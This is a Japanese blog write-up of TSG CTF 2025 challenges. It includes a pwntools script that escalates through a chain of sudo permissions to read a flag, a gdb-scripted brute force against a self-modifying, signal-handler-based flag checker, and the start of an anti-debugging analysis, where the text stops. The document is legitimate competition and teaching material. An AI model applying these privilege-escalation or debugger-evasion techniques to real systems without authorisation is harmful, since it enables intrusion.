プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

TSG CTF 2025 write-up

TSG CTF 2025へ参加しました。私が解いた4問のwrite-up記事です。

2025/12/31(水) 23:30頃追記: 追記: Dockerコンテナ中プロセスへDockerホスト側からgdbをAttachする方法セクションを追加しました。

コンテスト概要

2025/12/20(土) 16:00 +09:00 - 12/21(日) 16:00 +09:00の24時間開催でした。他ルールはRulesページから引用します:

Rules
- Don’t prevent other teams from having fun.
- Don’t share flags or hints, or you’ll be banned.
- Don’t attack (e.g. DoS) our infrastructure, or you’ll be banned.
- Don’t do automated scanning. It will be considered to be DoS.
- The flag format is TSGCTF{blahblah}, unless otherwise specified.
- The prize will be paid with PayPal. If it doesn't suit you, we can pay that in BitCoin at an arbitrary exchange rate we determine.
- The teams must publish the writeups of the solved problems in CTFTime to get their prizes.
- The number of members in a team is unlimited.
- People who belong to TSG are not allowed to participate in TSG CTF.

Support
If you have issue with TSG CTF, please contact us by joining official Discord server, and clicking "Create Ticket" button in the #ask-admin channel.

About “beginner” challenges
If you are unfamiliar with CTF, we highly recommend you to first take a look at the challenges with "beginner" tag. They will be released at the same time as the CTF launch.
In TSG CTF, Beginner's tasks are not "beginner-level challenges." We define a beginner's task as a challenge that does not require any experience or knowledge specific to CTF, but can be solved with knowledge that even a beginner has. Please don't be discouraged if you can't solve a "beginner's task". At times it can be hard!

About Final(en)
(下に日本語版があるので省略)

About Final(ja)
TSG CTF 2025では、成績上位のDomesticチームを対象に、 2026年春にオンサイト決勝を東京都内で開催する予定です。対象はDomesticチームの上位10チーム(1チーム最大4名)とする予定です。

Domesticチームとは以下の両方を満たすチームを指します:
- 予選に参加する構成メンバー全員が日本在住であること
- オンサイト決勝に参加するメンバー全員が日本在住であること
決勝チーム編成の補足として、
- 決勝に出場したい場合でも、予選は5人以上で参加していただいて大丈夫です
- 決勝と予選のメンバーが異なっていても問題ありません

Release Schedule
(省略)

過去のTSGCTFと同様にbeginnerジャンルの定義が独特です。 問題のリリーススケジュールでは、日本時間の16時(=開始直後)、18時、20時、22時に問題が公開されることや、公開予定の問題ジャンルや推定難易度が記載されていました。記載通りに公開されました。

事前通知があった通り、今回は日本チームを対象にオンサイト決勝が予定されています!

環境

主にWindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows(ホスト)

c:\>ver

Microsoft Windows [Version 10.0.26200.7462]

c:\>wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-24.04    Running         2
  Ubuntu-22.04    Stopped         2

c:\>

他ソフト

  • IDA Version 9.2.250908 Windows x64 (64-bit address size)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.15.0
$ python3 -m pip show tqdm | grep Version:
Version: 4.66.4
$ g++ --version
g++ (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2025.05.30 build: 5cff331b
$ rp-lin --version --file /dev/null | sed -n 1p
You are currently using the version 2.1 x64 built the Jun 21 2024 00:20:52 for Linux (Release) of rp++.
$ seccomp-tools --version
SeccompTools Version 1.6.1
$ strace --version
strace -- version 6.8
Copyright (c) 1991-2024 The strace developers <https://strace.io>.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Optional features enabled: stack-trace=libunwind stack-demangle m32-mpers mx32-mpers
$

解けた問題

本コンテストでは、日本語と英語の両方で問題文が提供されていました。本記事では日本語版の問題文のみを引用します。

[Misc, easy] Sudoers Maze (143 team solves, 100 points)

ここはどこ?わたしはだれ?

(nc接続先省略)

配布ファイルとして、サーバー側の各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./build/ctf.conf:     ASCII text
./build/flag.txt:     ASCII text
./build/nginx.conf:   ASCII text
./build/start.sh:     POSIX shell script, ASCII text executable
./build/sudoers:      ASCII text
./docker-compose.yml: ASCII text
./Dockerfile:         ASCII text
$

次の内容を含んでいました:

  • DockerfileRUN seq 0 1000 | xargs -I{} useradd -M --no-log-init -s /sbin/nologin u{}して、u0u1、……、u1000ユーザーを作成します。
  • DockerfileCOPY --chown=u1000:u1000 ./build/flag.txt /home/user/flag.txtして、u1000ユーザーがflag.txtを読めるように設定します。
  • start.shtimeout --foreground -s 9 60s stdbuf -i0 -o0 -e0 sudo -u u0 /bin/bash -iして、nc接続後に最初に操作できるユーザーをu0に設定します。
    • 本記事執筆時に、初めてstart.sh内容をまともに読みました。コンテスト中ではとりあえずnc接続して、最初に操作できるユーザーがu0ユーザーのことを知りました。
  • build/sudoersは1000行を超える内容です。各種ユーザーがどの別ユーザーとしてsudo実行できるかが、次のように記述されています:
# 前略
user ALL=(u0) NOPASSWD: ALL
u0 ALL=(u499) NOPASSWD: ALL
u1 ALL=(u377, u751) NOPASSWD: ALL
u2 ALL=(u171) NOPASSWD: ALL
u3 ALL=(u504, u878) NOPASSWD: ALL
u4 ALL=(u298, u461, u835) NOPASSWD: ALL
u5 ALL=(u713) NOPASSWD: ALL
# 以降同様にu999まで続きます

問題の見た目がなかなかに奇天烈ですが、実質としてはu0ユーザーからu1000ユーザーまで到達できるパスを求める問題です。幅優先探索で最短経路を求めました:

#!/usr/bin/env python3

import queue
import re

import pwn

# pwn.context.log_level = "DEBUG"


def find_sudo_path():
    USER_COUNT = 1001
    user_graph: list[list[int]] = [[] for i in range(USER_COUNT)]
    with open("build/sudoers") as f:
        sudoers = f.read()
    for line in sudoers.splitlines():
        m = re.search(r"^(u[0-9]+) ALL=\(([ u0-9, ]+)\) NOPASSWD: ALL$", line)
        if not m:
            continue
        user_from = int(m.group(1).lstrip("u"))
        users_to = list(map(lambda u: int(u.lstrip("u")), m.group(2).split(", ")))
        user_graph[user_from].extend(users_to)

    # 幅優先探索
    q: "queue.Queue[tuple[int,int]]" = queue.Queue()
    used: list[int | None] = [None] * USER_COUNT
    q.put((-1, 0))  # 最初はu0
    while not q.empty():
        prev, current = q.get()
        if used[current] is not None:
            continue
        used[current] = prev
        for next in user_graph[current]:
            q.put((current, next))

    # u1000からu0方向へ経路を復元
    path = []
    current = 1000
    while True:
        assert used[current] is not None
        path.append(current)
        current = used[current]
        if current == 0:
            return path[::-1]


def solve(io: pwn.tube):
    path = find_sudo_path()
    print(path)
    io.recvuntil(b":/home/user$")
    # for user in path:
    #     print(f"sudo -u u{user} bash")
    for user in path:
        io.sendline(f"sudo -u u{user} bash".encode())
        io.sendline("whoami".encode())
        line = io.recvline()
        while line.startswith(b"sudo") or line.startswith(b"whoami"):
            line = io.recvline()
        print(line.decode().strip())
        # assert f"u{user}".encode() in line
    io.sendline("cat flag.txt".encode())
    for _ in range(len(path) + 1):
        io.sendline("exit".encode())
    io.stream(line_mode=False)


# fmt: off
# with pwn.remote("localhost", 55655) as io: solve(io)
with pwn.remote("198.51.100.1", 55655) as io: solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to 198.51.100.1 on port 55655: Done
[499, 977, 835, 4, 298, 908, 971, 504, 3, 878, 699, 72, 162, 453, 659, 885, 31, 511, 963, 219, 187, 593, 720, 661, 423, 63, 260, 750, 192, 376, 247, 888, 315, 52, 689, 680, 122, 843, 693, 77, 319, 301, 119, 813, 174, 439, 627, 507, 342, 276, 716, 568, 146, 942, 495, 779, 550, 1000]
sudo -u u499 bash
u499
(途中のwhoami結果を省略)
u1000
TSGCTF{Soooooooooooooo_many_users_in_this_server}
u0@e96c3faa3737:/home/user$ exit
exit
[*] Closed connection to 198.51.100.1 port 55655

フラグを入手できました: TSGCTF{Soooooooooooooo_many_users_in_this_server}

[Reversing, beginner] medicine (96 team solves, 102 points)

I feel ill...

- 添付ファイルはx86-64のLinux上で動くELF形式の実行可能ファイルです
- 実行して正しいFLAGを入力すると、Correct :)と入力したFLAGが表示されます
- 間違ったFLAGを入力するとセグメンテーションフォルトが起きる場合があります
- GhidraやIDA Freeで処理の概要を把握しましょう
- gdbで実際に動かしながら挙動を確認しましょう
- すべての処理の内容を正確に理解する必要はありません
  - その処理が何を入力とし、何を変更するのかを把握するだけで十分なこともあります

配布ファイルとして、medicineバイナリがありました:

$ file *
medicine: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c540100314c537435ffa30d942a013f0f3bbde6a, for GNU/Linux 4.4.0, stripped
$

ud2命令とシグナルハンドラー登録内容

medicineバイナリをIDAで開いて逆コンパイルしました。main関数は次の内容でした:

void __fastcall __noreturn main()
{
  char strFlagSize40[40]; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v1; // [rsp+28h] [rbp-10h]

  v1 = __readfsqword(0x28u);
  printf("flag? ");
  if ( (unsigned int)__isoc23_scanf("%32s", strFlagSize40) == 1 && strlen(strFlagSize40) == 32 )
    BUG();                                      // ud2命令
  ProcShowWrongAndExit();
}

IDAの逆コンパイル表示でBUG()となっているアドレスを逆アセンブル画面で確認すると、ud2命令でした。UD — Undefined Instructionに記述があるように、ud2命令はinvalid opcode exceptionを発生させるものです。どうやらLinux環境ではSIGILLシグナルを発生させるようです。

さて、strlen関数結果が32文字の場合にud2命令を実行するのが不穏な雰囲気です。改めてIDAで色々調べていると、RVA0x3DC8からの.init_arrayセクションに関数が2つ登録されていることが分かりました。.init_arrayセクション内容の関数ポインターのアドレスは、main関数よりも先に実行されます。.init_arrayセクション2つ目に登録されているRVA0x132Fの関数は次の内容でした:

void __fastcall ProcInitArray1_SetSigAction()
{
  __int64 v0; // rax
  struct sigaction act; // [rsp+0h] [rbp-A8h] BYREF
  unsigned __int64 qwCanary; // [rsp+98h] [rbp-10h]

  qwCanary = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  memset(&act.sa_mask, 0, 0x90u);
  act.sa_handler = (__sighandler_t)SigHandler_ModifyingInstructions;
  act.sa_flags = SA_SIGINFO;
  sigemptyset(&act.sa_mask);
  if ( sigaction(SIGILL, &act, 0) )
    __assert_fail("sigaction(SIGILL, &action, NULL) == 0", "chal.c", 0x43u, "init");
  v0 = sysconf(30);                             // 0x1000が返った。多分ページサイズ
  if ( mprotect(
         (void *)((unsigned __int64)&locUd2 & -v0),
         (-v0 & ((unsigned __int64)&locUd2 + v0 + 1663)) - ((unsigned __int64)&locUd2 & -v0),
         7) )
  {
    __assert_fail(
      "mprotect((void*)start, end - start, PROT_READ | PROT_WRITE | PROT_EXEC) == 0",
      "chal.c",
      0x49u,
      "init");
  }
}

sigaction関数を使って、SIGILLシグナル発生時に特定の関数を実行するよう登録していました。加えて、上で言及しましたmain関数中のud2命令のアドレス以降を、mprotect関数を使って読み書き実行可能に設定していました。つまり、実行内容を書き換え可能にしていました。

なお記事執筆中に改めて見ると、ud2命令手前でmov rcx, 6があったり、何かnopでアドレスを揃えているらしい様子もありました:

.text:00000000000014C5                 mov     rcx, 6
.text:00000000000014CC                 nop     dword ptr [rax+rax+00000000h]
.text:00000000000014D4                 db      66h, 66h, 2Eh
.text:00000000000014D4                 nop     word ptr [rax+rax+00000000h]
.text:00000000000014DF                 db      66h, 66h, 2Eh
.text:00000000000014DF                 nop     word ptr [rax+rax+00000000h]
.text:00000000000014EA                 db      66h, 66h, 2Eh
.text:00000000000014EA                 nop     word ptr [rax+rax+00000000h]
.text:00000000000014F5                 db      66h, 66h, 2Eh
.text:00000000000014F5                 nop     word ptr [rax+rax+00000000h]
.text:0000000000001500
.text:0000000000001500 locUd2:
.text:0000000000001500                 ud2

sigaction関数で登録している、RVA0x12A4のシグナルハンドラー用関数は次の内容でした:

void __fastcall SigHandler_ModifyingInstructions(int sig, siginfo_t *info, ucontext_t *ucontext)
{
  greg_t qwOldRip; // rbx
  char *qwRsp; // r12
  _WORD *pwInstruction; // rdx
  char *pStrInput; // rcx

  qwOldRip = ucontext->uc_mcontext.gregs[REG_RIP];
  if ( (qwOldRip & 0x3F) != 0 || g_qwPrevRip == qwOldRip )
    ProcShowWrongAndExit();
  qwRsp = (char *)ucontext->uc_mcontext.gregs[REG_RSP];
  g_qwPrevRip = ucontext->uc_mcontext.gregs[REG_RIP];
  ProcMayBeRot13(qwRsp);
  pwInstruction = (_WORD *)qwOldRip;
  pStrInput = qwRsp;
  do
    *pwInstruction++ ^= 0xDC5 * *pStrInput++ + 0x3DE2;
  while ( pStrInput != qwRsp + 32 );
  ++ucontext->uc_mcontext.gregs[REG_RCX];
}

void __fastcall ProcMayBeRot13(char *pStr)
{
  char charCurrent; // al

  for ( charCurrent = *pStr; *pStr; charCurrent = *pStr )
  {
    if ( (unsigned __int8)((charCurrent & 0xDF) - 0x41) <= 0x19u )
    {
      if ( (unsigned __int8)(charCurrent - 78) <= 0xCu || charCurrent > 0x6D )
        *pStr = charCurrent - 13;
      else
        *pStr = charCurrent + 13;
    }
    ++pStr;
  }
}

SIGILL発生時のripレジスタ内容の機械語以降を、スタックに含まれる入力内容を使って書き換える内容でした!また、rcxレジスタ内容もインクリメントしていました。

お試し入力で書き換え後の機械語命令を確認

シグナルハンドラー書き換え後の内容を確認してみることにしました。コンテストルールから、フラグ形式はTSGCTF{...}と定まっています。その形式で、main関数で判定しているように32文字を与えました:

$ gdb ./medicine
(省略)
pwndbg> starti
Starting program: /mnt/d/Documents/work/ctf/TSG_CTF_2025/medicine/medicine

Program stopped.
0x00007ffff7fe4540 in _start () from /lib64/ld-linux-x86-64.so.2
(pwndbgのcontext表示を省略)
pwndbg> # breakrvaコマンドはpwndbgの追加コマンドです。バニラのgdbにはありません。
pwndbg> # シグナルハンドラーでRBXレジスタに、シグナル発生時のRIPレジスタ内容を格納しています。
pwndbg> # 機械語書き換え後、pop rbxするときのRVAにブレークポイントを設定します。
pwndbg> breakrva 0x1325
Breakpoint 1 at 0x555555555325
pwndbg> continue
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
flag? TSGCTF{AAAAAAAAAAAAAAAAAAAAAAAA}

Program received signal SIGILL, Illegal instruction.
(pwndbgのcontext表示を省略)
pwndbg> x/10i $rbx
   0x555555555500:      mov    al,BYTE PTR [rsp+rcx*1]
   0x555555555503:      xor    al,0x35
   0x555555555505:      test   al,al
   0x555555555507:      je     0x555555555540
   0x555555555509:      call   0x555555555200
   0x55555555550e:      and    eax,0xcecb6077
   0x555555555513:      adc    al,0x9
   0x555555555515:      jl     0x555555555537
   0x555555555517:      imul   ecx,DWORD PTR [rax],0x3361554
   0x55555555551d:      out    0xe,eax
pwndbg> x/1i 0x555555555540
   0x555555555540:      ud2
pwndbg>

どうやらrspレジスタが指すアドレス以降には、入力した文字列そのものが格納されているようでした。その文字列からmov al,BYTE PTR [rsp+rcx*1]で1文字取得し、今回の場合はxorした結果が0になるかどうかで分岐していました。0の場合はje命令でジャンプして更に別のud2命令のアドレスへ移動しており、そうでない場合はcall 0x555555555200Wrong表示する関数へ移動していました。前述の通りRVA0x14C5ではmov rcx, 6命令があり、シグナルハンドラーではrcxレジスタの値を1増やしています。そのため上記逆アセンブル表示の範囲では0-indexedで7文字目の文字、すなわちTSGCTF{の次の文字を判定しているようでした。

コンテスト中ではシグナルハンドラーを3回通るところまで確認していました。2回目のは上述の1回目通りのxor命令1回での分岐でしたが、3回目はもう少し複雑な計算をしていました。最後の余談時に命令内容を記述しています。

困った結果のシグナルハンドラー通過回数をオラクルとする探索、実行結果、フラグ

自己書き換えがあるプログラムの解析は骨が折れます。色々考えた結果、「どうやら全体として、先頭から1文字ずつ判定して異なる文字があればそこで終了、正解の文字があるたびにシグナルハンドラーが呼び出されるらしい。そうなると、シグナルハンドラーが呼び出される回数を数えれば、先頭から1文字ずつ判断できる?」と思いました。その方針で、GDB Scriptingを使いつつ実装しました。

GDB Scriptingを使う側のtrace.pyです。コメントに入れている通り、最終的にはRVA0x1325が実行されるたびに固定内容10文字を出力するだけになりました。

#!/usr/bin/env python3
# gdb -q -x trace.py medicine

import gdb

# Python API利用コードのデバッグ時に役立ちます
gdb.execute("set python print-stack full")

INPUT_FILENAME = "input.txt"
# content = "TSGCTF{51AAAAAAAAAAAAAAAAAAAAAA}"
# assert len(content) == 32
# with open(INPUT_FILENAME, "w") as f:
#     f.write(content)


rip = 0


# 最終的に、完全に不要になりました。
# 実装当初は、シグナル発生時のripレジスタの内容を保持して、後で使おうと考えていました。
# 最終的には下のブレークポイントでも固定内容を出力するだけになりました。
class BreakPoint_ForStoreRip(gdb.Breakpoint):
    def stop(self):
        command_result = gdb.execute(
            "p/1x {unsigned long}($rdx + 0xA8)", to_string=True
        )
        global rip
        rip = int(
            command_result.split(" = ")[1],
            0,
        )
        return False


# 最終的に、こちら側だけが重要になりました。
# シグナルハンドラー末尾で固定文字列10文字を出力するだけです。
class BreakPoint_ForDumpInstructions(gdb.Breakpoint):
    def stop(self):
        assert rip is not None
        # gdb.execute(f"x/10i {rip:#x}")
        print("Nice Hit!")
        return False


def get_va(rva: int) -> int:
    # ASLR無効状態を前提にします
    return 0x555555554000 + rva


gdb.execute("handle SIGILL pass noprint")

BreakPoint_ForStoreRip(f"*{get_va(0x12A8)}")
BreakPoint_ForDumpInstructions(f"*{get_va(0x1325)}")

# プログラムを動作させます
gdb.execute(f"run < {INPUT_FILENAME}")
gdb.execute("quit")

1文字ずつ特定するsolve.pyです。先頭から1文字ずつ全探索して、出力が最も長かった文字を正解として採用します。medicineバイナリへの入力はinput.txtファイル経由でtrace.pyへ与えます:

#!/usr/bin/env python3

import subprocess

import tqdm

INPUT_FILENAME = "input.txt"


def check_output(flag: str) -> bytes:
    with open(INPUT_FILENAME, "w") as f:
        f.write(flag)

    completed_process = subprocess.run(
        "gdb -q -x trace.py medicine".split(), capture_output=True
    )
    return completed_process.stdout


flag = "TSGCTF{"
for _ in tqdm.trange(128, leave=True):
    results = []
    for c in tqdm.trange(0x21, 0x7F):
        current = flag + chr(c)
        tmp = current + "A" * (31 - len(current))
        tmp += "}"
        out = check_output(tmp)
        tqdm.tqdm.write(f"{tmp}, {len(out)}")
        results.append((len(out), current))

        if b"Correct" in out:
            tqdm.tqdm.write(f"{tmp}")
            exit(0)

    results.sort(reverse=True)
    tqdm.tqdm.write(str(results))
    flag = results[0][1]

実行しました:

$ time ./solve.py
TSGCTF{!AAAAAAAAAAAAAAAAAAAAAAA}, 589
TSGCTF{"AAAAAAAAAAAAAAAAAAAAAAA}, 589
(省略)
TSGCTF{51gn4l_h4ndl3r_r0t13_x0p}, 819
TSGCTF{51gn4l_h4ndl3r_r0t13_x0q}, 819
TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}, 890
TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}
 18%|████████████████                                    | 23/128 [26:26<2:00:42, 68.97s/it]
 86%|██████████████████████████████████████████████         | 81/94 [00:56<00:09,  1.43it/s]
./solve.py  1466.98s user 252.51s system 108% cpu 26:27.22 total
$ ./medicine
flag? TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}
Correct :)
Here is your flag : TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}
$

約30分でフラグを入手できました: TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}

余談: commandsで判定しようとしたらpwndbgがDEADLOCK判定しました

上で記載したtrace.pyでは、gdb.Breakpointを継承する形でブレークポイントを設定しています。さて、gdbにはcommandsコマンドを使うことでも、ブレークポイントヒット時の自動操作を記述できます(出典: Break Commands (Debugging with GDB)。最初はcommandsコマンドを使う方式で書こうとしていました:

#!/usr/bin/env python3
# gdb -q -x trace.py medicine

import gdb

# Python API利用コードのデバッグ時に役立ちます
gdb.execute("set python print-stack full")

INPUT_FILENAME = "input.txt"
# content = "TSGCTF{51AAAAAAAAAAAAAAAAAAAAAA}"
# assert len(content) == 32
# with open(INPUT_FILENAME, "w") as f:
#     f.write(content)


def get_va(rva: int) -> int:
    # ASLR無効状態を前提にします
    return 0x555555554000 + rva


gdb.execute("handle SIGILL pass noprint")

gdb.execute(f"""
break *({get_va(0x12A8)})
commands
silent
set $targetRip = {{unsigned long}}($rdx + 0xA8)
continue
end""")

gdb.execute(f"""
break *({get_va(0x1325)})
commands
silent
x/10i $targetRip
continue
end""")

# プログラムを動作させます
gdb.execute(f"run < {INPUT_FILENAME}")
gdb.execute("quit")

1つ目のブレークポイントでシグナル発生時のripレジスタの内容を保存し、2つ目のブレークポイントで保存したアドレス以降を10命令分逆アセンブルする内容です。しかし上記スクリプトをGDB Scriptingとして実行すると、pwndbgがデッドロックを検知しました!

$ cat input.txt
TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}
$ gdb -q -x trace.py ./medicine
pwndbg: loaded 190 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from ./medicine...
(No debugging symbols found in ./medicine)
Breakpoint 1 at 0x5555555552a8
Breakpoint 2 at 0x555555555325
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
flag? DEADLOCK DETECTED...
The deadlock issue is likely caused by using 'commands[\n]continue[\n]end'.

To address this, you have three options:

1. Avoid using 'commands'. Instead, rewrite it as a Python script. For example:

   # Read more at: https://github.com/pwndbg/pwndbg/issues/425#issuecomment-892302716
   class Bp(gdb.Breakpoint):
       def stop(self):
           print("Breakpoint hit!")
           return False  # False = continue to next breakpoint, True = stop inferior

   Bp("main")


2. Replace 'continue' with 'pi gdb.execute("continue")' and use 'set gdb-workaround-stop-event 2'.
   This change reduces the likelihood of deadlocks, while preserving pwndbg functionality.

3. Run 'set gdb-workaround-stop-event 1', allowing you to keep 'continue' as is.
   However, this setting may cause pwndbg or gdb.execute to behave asynchronously/unpredictably.

どうやら、「1つ目のブレークポイントにヒットしてcommands中でのcontinue実行→2つ目のブレークポイントにヒットしてcommands中でのcontinue実行→改めて1つ目のブレークポイントにヒット」した場合に発生するようです。提示される選択肢の1つ目を採用して、commandsを避けてgdb.BreakPointを継承する形でブレークポイントを実現するとpwndbgはデッドロック判定しなくなりました。解決結果が上のソルバー側で示したコードです。

なお、上述のデッドロックメッセージはpwndbg拡張が表示しています。それではバニラのgdbではどうなのかと言いますと、特段問題なく実行できるようです。--nxオプションを付与することで、pwndbgを読み込ませずに、バニラのgdbで実行する例です:

$ cat input.txt
TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}
$ gdb -q --nx -x trace.py ./medicine
Reading symbols from ./medicine...
(No debugging symbols found in ./medicine)
Breakpoint 1 at 0x5555555552a8
Breakpoint 2 at 0x555555555325
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
flag?    0x555555555500:        mov    (%rsp,%rcx,1),%al
   0x555555555503:      xor    $0x35,%al
   0x555555555505:      test   %al,%al
   0x555555555507:      je     0x555555555540
   0x555555555509:      call   0x555555555200
   0x55555555550e:      nopw   0x0(%rax,%rax,1)
   0x555555555514:      data16 cs nopw 0x0(%rax,%rax,1)
   0x55555555551f:      data16 cs nopw 0x0(%rax,%rax,1)
   0x55555555552a:      data16 cs nopw 0x0(%rax,%rax,1)
   0x555555555535:      data16 cs nopw 0x0(%rax,%rax,1)
   0x555555555540:      mov    %ecx,%ecx
   0x555555555542:      mov    (%rsp,%rcx,1),%al
   0x555555555545:      xor    $0x31,%al
   0x555555555547:      test   %al,%al
   0x555555555549:      je     0x555555555580
   0x55555555554b:      call   0x555555555200
   0x555555555550:      nopl   0x0(%rax)
   0x555555555554:      data16 cs nopw 0x0(%rax,%rax,1)
   0x55555555555f:      data16 cs nopw 0x0(%rax,%rax,1)
   0x55555555556a:      data16 cs nopw 0x0(%rax,%rax,1)
   0x555555555580:      mov    (%rsp,%rcx,1),%al
   0x555555555583:      xor    $0x4d,%al
   0x555555555585:      xor    $0xb8,%al
   0x555555555587:      xor    $0x81,%al
   0x555555555589:      test   %al,%al
   0x55555555558b:      je     0x5555555555c0
   0x55555555558d:      call   0x555555555200
   0x555555555592:      xchg   %ax,%ax
   0x555555555594:      data16 cs nopw 0x0(%rax,%rax,1)
   0x55555555559f:      data16 cs nopw 0x0(%rax,%rax,1)
   0x5555555555c0:      mov    %ecx,%ecx
   0x5555555555c2:      mov    (%rsp,%rcx,1),%al
   0x5555555555c5:      xor    $0xf,%al
   0x5555555555c7:      xor    $0x87,%al
   0x5555555555c9:      xor    $0xe6,%al
   0x5555555555cb:      test   %al,%al
   0x5555555555cd:      je     0x555555555600
   0x5555555555cf:      call   0x555555555200
   0x5555555555d4:      data16 cs nopw 0x0(%rax,%rax,1)
   0x5555555555df:      data16 cs nopw 0x0(%rax,%rax,1)
(省略)
   0x555555555b40:      mov    %ecx,%ecx
   0x555555555b42:      mov    (%rsp,%rcx,1),%al
   0x555555555b45:      xor    $0x5d,%al
   0x555555555b47:      xor    $0x39,%al
   0x555555555b49:      xor    $0x44,%al
   0x555555555b4b:      xor    $0xe7,%al
   0x555555555b4d:      xor    $0x2e,%al
   0x555555555b4f:      xor    $0x75,%al
   0x555555555b51:      xor    $0x5d,%al
   0x555555555b53:      xor    $0x41,%al
Correct :)
Here is your flag : TSGCTF{51gn4l_h4ndl3r_r0t13_x0r}
[Inferior 1 (process 1503668) exited normally]

特段問題なく、それぞれのブレークポイントヒット時にcommandsコマンド内容が実行されているように見受けられます。同時に、medicineバイナリのフラグ1文字検査方法が、段々と複雑になっているらしいことも見て取れます。

pwndbg側にデッドロック判定が存在することを初めて知りました。本記事を書く際に調べると、関連しそうなPRAdd workaround for deadlock in gdb, when calling gdb.execute inside stop event by patryk4815 · Pull Request #2594 · pwndbg/pwndbgはすでにdevブランチへはmerge済みです。しかし手元のpwndbgを最新にしてPwndbg: 2025.10.20 build: dca241bf8 (Linux)へ更新しても、上のスクリプトでのデッドロックは依然として発生します。

あまり調べられていませんが、gdb.Breakpointを継承してブレークポイントを記述する方針が、pwndbg環境でも正常に動作して良さそうなんでしょうか……?

[Reversing, med-hard] shadow_spider_network (78 team solves, 112 points)

不穏な感じだ。

flagが正しいかどうかプログラムに入力して確認してから提出してください

配布ファイルとして、challバイナリがありました:

$ file *
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6c4ad0e9addfb70a28655330c70bf6286aed481, for GNU/Linux 3.2.0, stripped
$

IDAで開いて逆コンパイルしました。一見すると次の動作に見えました:

  • 0x404450の関数で、scanf関数でchar[56]のバッファへユーザー入力を読み込みます。
  • 0x40419Fの関数で、the_flying_cabbage_eats_purple_clocks文字列を鍵としたRC4でユーザー入力を暗号化して、その結果が0x4050A0からの48バイトと一致することを検証します。

とりあえず、0x4050A0以降のデータをRC4復号するとTSGCTF{th3_qu1ck_fluffy_z3br4_jumps_0v3r_4_f1sh}が出てきました。しかし試しに与えてみると不正解となりました:

$ ./chall
FLAG> TSGCTF{th3_qu1ck_fluffy_z3br4_jumps_0v3r_4_f1sh}
Wrong

間違いになる理由は、0x4042F1付近でif ( strlen(pInput) != 40 ) return 1;の分岐があるためでした。TSGCTF{th3_qu1ck_fluffy_z3br4_jumps_0v3r_4_f1sh}文字列は48文字であるため、当該strlen分岐箇所でearly returnします。加えて真っ当に40文字を入力する場合は、「RC4でユーザー入力を暗号化して、その結果が0x4050A0からの48バイトと一致」を満たせないため、不正解になります。そのため、ここまでを見る限りは正解することが不可能に見えます。問題名通りに不穏です。

デバッガー検知時に終了する処理

0x40408Fの関数は次の内容でした:

bool IsDebuggerAttached_AndUpdateGlobalVariables()
{
  char *succeeded; // rax
  int dwTracerPid; // [rsp+4h] [rbp-11Ch]
  FILE *fp; // [rsp+8h] [rbp-118h]
  char strLineSize256[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 qwCanary; // [rsp+118h] [rbp-8h]

  qwCanary = __readfsqword(0x28u);
  fp = fopen("/proc/self/status", "r");
  dwTracerPid = 0;
  for ( succeeded = fgets(strLineSize256, 256, fp); succeeded; succeeded = fgets(strLineSize256, 256, fp) )
  {
    if ( !strncmp(strLineSize256, "TracerPid:", 0xAu) )
    {
      dwTracerPid = atoi(&strLineSize256[10]);
      break;
    }
  }
  ProcUpdateGlobalVariable();
  fclose(fp);
  return dwTracerPid != 0;
}

